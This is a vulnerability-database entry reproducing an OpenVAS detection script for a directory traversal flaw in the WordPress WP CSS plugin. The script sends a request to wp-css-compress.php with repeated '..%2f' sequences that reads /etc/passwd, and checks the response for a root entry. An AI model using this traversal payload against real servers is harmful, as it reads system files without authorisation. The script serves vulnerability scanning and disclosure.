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WordPress 'WP CSS' Plugin Local File Inclusion Vulnerability

🗓️ 26 Aug 2011 00:00:00Reported by Copyright (C) 2011 SecPodType 
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WordPress 'WP CSS' plugin Local File Inclusion Vulnerability. Successful exploitation could allow attackers to read arbitrary files on affected application. No solution or patch available for at least one year. Host running WordPress WP CSS Plugin prone to local file inclusion vulnerability

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Code
###############################################################################
# OpenVAS Vulnerability Test
# $Id: secpod_wordpress_wp_css_lfi_vuln.nasl 7019 2017-08-29 11:51:27Z teissa $
#
# WordPress 'WP CSS' Plugin Local File Inclusion Vulnerability
#
# Authors:
# Madhuri D <[email protected]>
#
# Copyright:
# Copyright (c) 2011 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation could allow attackers to perform directory
traversal attacks and read arbitrary files on the affected application.

Impact Level: Application";

tag_affected = "WordPress WP CSS plugin version 2.0.5";

tag_insight = "The flaw is due to input validation error in 'f' parameter
to 'wp-content/plugins/wp-css/wp-css-compress.php', which allows attackers
to read arbitrary files via a ../(dot dot) sequences.";

tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";

tag_summary = "This host is running with WordPress WP CSS Plugin and is prone to
local file inclusion vulnerability.";

SCRIPT_OID  = "1.3.6.1.4.1.25623.1.0.902723";
CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_id(902723);
  script_version("$Revision: 7019 $");
  script_tag(name:"last_modification", value:"$Date: 2017-08-29 13:51:27 +0200 (Tue, 29 Aug 2017) $");
  script_tag(name:"creation_date", value:"2011-08-26 14:59:42 +0200 (Fri, 26 Aug 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("WordPress 'WP CSS' Plugin Local File Inclusion Vulnerability");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/45734");
  script_xref(name : "URL" , value : "http://packetstormsecurity.org/files/view/104467/wpyoast-disclose.txt");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 SecPod");
  script_family("Web application abuses");
  script_dependencies("secpod_wordpress_detect_900182.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("wordpress/installed");
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}

##
## The script code starts here
##

include("http_func.inc");
include("version_func.inc");
include("http_keepalive.inc");
include("host_details.inc");


## Get HTTP Port
if(!port = get_app_port(cpe:CPE, nvt:SCRIPT_OID))exit(0);

## Check Host Supports PHP
if(!can_host_php(port:port)){
  exit(0);
}

## Get WordPress Installed Location
if(!dir = get_app_location(cpe:CPE, nvt:SCRIPT_OID, port:port))exit(0);

## Construct attack
url = string(dir, "/wp-content/plugins/wp-css/wp-css-compress.php?f=",
             crap(data:"..%2f",length:3*15), "etc/passwd");

## Confirm exploit worked properly or not
if(http_vuln_check(port:port, url:url,pattern:"(root:.*:0:[01]:*)")){
  security_message(port:port);
}

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29 Aug 2017 00:00Current
0.1Low risk
Vulners AI Score0.1
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